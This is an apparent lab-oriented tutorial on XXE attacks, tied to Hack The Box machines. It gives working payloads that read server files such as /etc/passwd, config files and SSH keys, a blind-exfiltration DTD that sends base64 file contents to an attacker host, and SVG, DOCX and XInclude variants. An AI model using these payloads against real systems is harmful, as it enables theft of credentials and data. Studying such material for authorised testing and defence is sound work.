XXE: reading server files with XML external entities

What XXE is, how to find it in APIs, SVG and Office documents, read files with php://filter, blind XXE with an external DTD, and chaining it into SSRF.

· 4 min read

XML lets you define entities: variables substituted when the document is read. An external entity takes its value from a file or a URL. If the server processes your XML with a parser that has them enabled, &xxe; becomes the contents of /etc/passwd. That is XXE, and in the catalogue it shows up on machines such as BountyHunter, Aragog and RedPanda.

Where to look

  • Requests with Content-Type: application/xml or text/xml, and SOAP APIs.
  • JSON requests where the server also accepts XML: change the Content-Type to application/xml and send the same data as XML.
  • Data that travels base64- or URL-encoded and turns out to be XML once decoded (that is what happens on BountyHunter).
  • SVG and DOCX/XLSX/PPTX uploads (they are zips full of XML), RSS, GPX, KML, SAML.

Reading a file

The classic test. Define the entity in the DOCTYPE and use it in a field the application echoes back:

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data><name>&xxe;</name></data>

On Windows, file:///c:/windows/win.ini.

Files with special characters

If the file contains < or & (a .php, an XML), the parser fails. On PHP, ask for it in base64 with a wrapper:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php"> ]>
echo 'PD9waHAg...' | base64 -d

What to read: source code and configs with passwords (config.php, .env, web.config), /etc/hosts to discover other hosts, /proc/self/environ and /home/<user>/.ssh/id_rsa. The LFI guide has a list of interesting files that works just as well here.

Detecting it even if you cannot see the value

If the entity does not show up in the response, first check that the parser resolves external entities by making it call your box:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://10.10.14.5/test"> ]>
<data>&xxe;</data>
python3 -m http.server 80

If the request arrives, the parser is vulnerable. That is also an SSRF: you can make the server request internal URLs.

Blind XXE: exfiltrating the file over the network

When you see nothing in the response, use an external DTD that reads the file and sends it in the URL of a second request. On your box, evil.dtd:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://10.10.14.5/?d=%file;'>">
%all;
%send;

And in the vulnerable request:

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://10.10.14.5/evil.dtd"> %dtd; ]>
<data>hello</data>

Your server's log shows GET /?d=<base64>. With large files or line breaks, base64 (on PHP) is almost mandatory; without PHP, try ftp:// instead of http:// with an FTP server that logs what it receives.

Tip

If the parser shows errors, there is a shortcut: point the entity at a non-existent file whose name includes the contents (file:///nope/%file;). The error shows you the contents directly.

When you do not control the whole document

If you only control a value that gets inserted into a server-side XML (you cannot add the DOCTYPE), use XInclude:

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

SVG and Office documents

An SVG is XML, so an image upload that processes it (to build a thumbnail, for instance) may be vulnerable:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg width="300" height="100" xmlns="http://www.w3.org/2000/svg">
  <text x="10" y="40">&xxe;</text>
</svg>

With a .docx or .xlsx, unzip it, add the entity to word/document.xml (or xl/workbook.xml), zip it again with zip -r and upload it. Combine this with the file upload guide.

Common errors

  • Syntax error when reading a .php: it contains characters that break the XML. Use php://filter in base64.
  • An internal entity (<!ENTITY a "hello">) works but an external one does not: the parser has external entities disabled. Try XInclude, or check whether another endpoint uses a different parser.
  • The external DTD is never fetched: the server cannot reach your IP on that port. Try 80 or 443, or reuse a local DTD that already exists on the system (there are lists of reusable DTDs on Linux and Windows).

What next

With the source code and credentials you have read, go back to the application or try those passwords over SSH (password reuse). The web injections cheat sheet has every payload in this guide ready to copy.

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

XXE 4 machines

Spotted a mistake or something missing? Tell us